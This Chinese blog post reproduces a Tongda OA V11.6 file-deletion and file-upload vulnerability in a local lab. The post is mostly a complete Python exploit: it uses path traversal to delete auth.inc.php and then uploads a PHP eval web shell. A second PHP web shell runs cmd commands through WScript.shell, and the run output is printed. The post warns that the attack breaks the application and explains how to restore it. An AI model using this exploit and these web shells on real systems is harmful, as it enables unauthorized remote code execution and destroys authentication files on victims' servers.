.exp文件_通达OA任意文件删除+文件上传漏洞复现

环境搭建

通达OA V11.6 下载地址https://pan.baidu.com/s/1rTnsKtiB5HDvzp4FoKdMFw 提取码:Mo60

然后进行安装即可

4906e5af72e3ab3ae3ff89e91b72f681.png

访问

688e4b11a40419839fd6bd2465828f0a.png

使用默认账号admin 空密码 登入

abcb9c29a07014fb71cf2be8fb053827.png

提示:该漏洞并不是无损的,如果成功利用后会删除程序中的php文件会导致程序功能无法使用

漏洞复现

这里使用exp直接打,利用成功会在根目录下生成一句话_oatest.php密码为t

import requestspayload="<?php eval($_POST['t']);?>"print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")target=input("Please enter URL: ")input("Press enter to continue!")print("[*]Deleting auth.inc.php....")url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"requests.get(url=url)print("[*]Checking if file deleted...")url=target+"/inc/auth.inc.php"page=requests.get(url=url).textif 'No input file specified.' not in page:    print("[-]Failed to deleted auth.inc.php")    exit(-1)print("[+]Successfully deleted auth.inc.php!")print("[*]Uploading payload...")url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"files = {'FILE1': ('oatest.php', payload)}requests.post(url=url,files=files)url=target+"/_oatest.php"page=requests.get(url=url).textif 'No input file specified.' not in page:    print("[+]Filed Uploaded Successfully")    print("[+]URL:",url)else:    print("[-]Failed to upload file")

运行后输入url然后回车确认运行即可,这里还是提示一下此漏洞并不是无损的!

728c8527cb44d77ec373c7868bdbf8eb.png

>exp.py[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OAPlease enter URL: http://192.168.0.110:8080/Press enter to continue![*]Deleting auth.inc.php....[*]Checking if file deleted...[+]Successfully deleted auth.inc.php![*]Uploading payload...[+]Filed Uploaded Successfully[+]URL: http://192.168.0.110:8080//_oatest.php

任意文件删除,exp是删除了验证文件然后进行文件上传

/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php

来到靶机处查看文件成功被写入

03b053ca36323cc3fedee2c7de071665.png

默认禁用了一些函数会导致无法执行命令这里使用其他方法去执行

e41f063d34bf47b22506feb2e2529377.png

<?php $command=$_GET['cmd'];$wsh = new COM('WScript.shell');$exec = $wsh->exec("cmd /c ".$command);$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;?>

d817ccb03b3786167a090c8f032d7f24.png

后话

再次登入发现页面已经不成样子

13674418793e386b05237f1db339ee28.png

只要把auth.inc.php重新移动到webroot/inc/目录下即可,该文件我也放在了百度网盘链接里,如果各个版本的auth.inc.php文件结构没有大变动的话应该都是可以的

85a23a67922b7740c90446f6c8ddb4ba.png

2017版本的也可以被利用,2019版本的都不行,这里测试的版本为V11.6

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值